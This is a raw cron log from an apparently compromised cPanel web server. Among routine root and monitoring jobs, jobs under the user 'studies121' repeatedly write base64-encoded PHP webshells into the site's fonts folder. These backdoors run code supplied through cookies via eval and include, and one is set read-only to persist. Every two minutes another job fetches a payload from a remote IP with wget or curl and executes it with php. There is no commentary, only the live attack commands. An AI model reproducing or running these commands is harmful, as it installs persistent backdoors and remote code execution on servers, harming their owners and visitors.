Sep  6 17:55:01 ip-184-168-122-23 CROND[7568]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 17:55:01 ip-184-168-122-23 CROND[7571]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 17:55:01 ip-184-168-122-23 CROND[7569]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 17:55:01 ip-184-168-122-23 CROND[7570]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 17:55:01 ip-184-168-122-23 CROND[7572]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 17:56:01 ip-184-168-122-23 CROND[7662]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 17:56:01 ip-184-168-122-23 CROND[7664]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 17:56:01 ip-184-168-122-23 CROND[7668]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 17:56:01 ip-184-168-122-23 CROND[7666]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 17:56:01 ip-184-168-122-23 CROND[7665]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 17:57:01 ip-184-168-122-23 CROND[7746]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 17:57:01 ip-184-168-122-23 CROND[7747]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 17:57:01 ip-184-168-122-23 CROND[7748]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 17:57:01 ip-184-168-122-23 CROND[7749]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 17:58:01 ip-184-168-122-23 CROND[7844]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 17:58:01 ip-184-168-122-23 CROND[7848]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 17:58:01 ip-184-168-122-23 CROND[7846]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 17:58:01 ip-184-168-122-23 CROND[7847]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 17:58:01 ip-184-168-122-23 CROND[7849]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 17:59:01 ip-184-168-122-23 CROND[8062]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 17:59:01 ip-184-168-122-23 CROND[8063]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 17:59:01 ip-184-168-122-23 CROND[8065]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 17:59:01 ip-184-168-122-23 CROND[8064]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 18:00:01 ip-184-168-122-23 CROND[8185]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 18:00:01 ip-184-168-122-23 CROND[8186]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 18:00:01 ip-184-168-122-23 CROND[8190]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  6 18:00:01 ip-184-168-122-23 CROND[8195]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 18:00:01 ip-184-168-122-23 CROND[8196]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 18:00:01 ip-184-168-122-23 CROND[8194]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 18:00:01 ip-184-168-122-23 CROND[8192]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 18:00:01 ip-184-168-122-23 CROND[8201]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 18:00:01 ip-184-168-122-23 CROND[8202]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 18:01:01 ip-184-168-122-23 CROND[8345]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 18:01:01 ip-184-168-122-23 CROND[8347]: (root) CMD (run-parts /etc/cron.hourly)
Sep  6 18:01:01 ip-184-168-122-23 CROND[8349]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 18:01:01 ip-184-168-122-23 CROND[8350]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 18:01:01 ip-184-168-122-23 CROND[8351]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 18:01:01 ip-184-168-122-23 CROND[8353]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 18:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[8347]: starting 0anacron
Sep  6 18:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[8366]: finished 0anacron
Sep  6 18:02:01 ip-184-168-122-23 CROND[8478]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 18:02:01 ip-184-168-122-23 CROND[8480]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 18:02:01 ip-184-168-122-23 CROND[8481]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 18:02:01 ip-184-168-122-23 CROND[8479]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 18:02:01 ip-184-168-122-23 CROND[8483]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 18:03:01 ip-184-168-122-23 CROND[8582]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 18:03:01 ip-184-168-122-23 CROND[8584]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 18:03:01 ip-184-168-122-23 CROND[8583]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 18:03:01 ip-184-168-122-23 CROND[8585]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 18:04:01 ip-184-168-122-23 CROND[8755]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 18:04:01 ip-184-168-122-23 CROND[8757]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 18:04:01 ip-184-168-122-23 CROND[8758]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 18:04:01 ip-184-168-122-23 CROND[8759]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 18:04:01 ip-184-168-122-23 CROND[8760]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 18:05:01 ip-184-168-122-23 CROND[8853]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 18:05:01 ip-184-168-122-23 CROND[8855]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 18:05:01 ip-184-168-122-23 CROND[8857]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 18:05:01 ip-184-168-122-23 CROND[8859]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 18:05:01 ip-184-168-122-23 CROND[8860]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 18:05:01 ip-184-168-122-23 CROND[8862]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 18:05:01 ip-184-168-122-23 CROND[8861]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 18:06:01 ip-184-168-122-23 CROND[8950]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 18:06:01 ip-184-168-122-23 CROND[8952]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 18:06:01 ip-184-168-122-23 CROND[8954]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 18:06:01 ip-184-168-122-23 CROND[8953]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 18:06:01 ip-184-168-122-23 CROND[8955]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
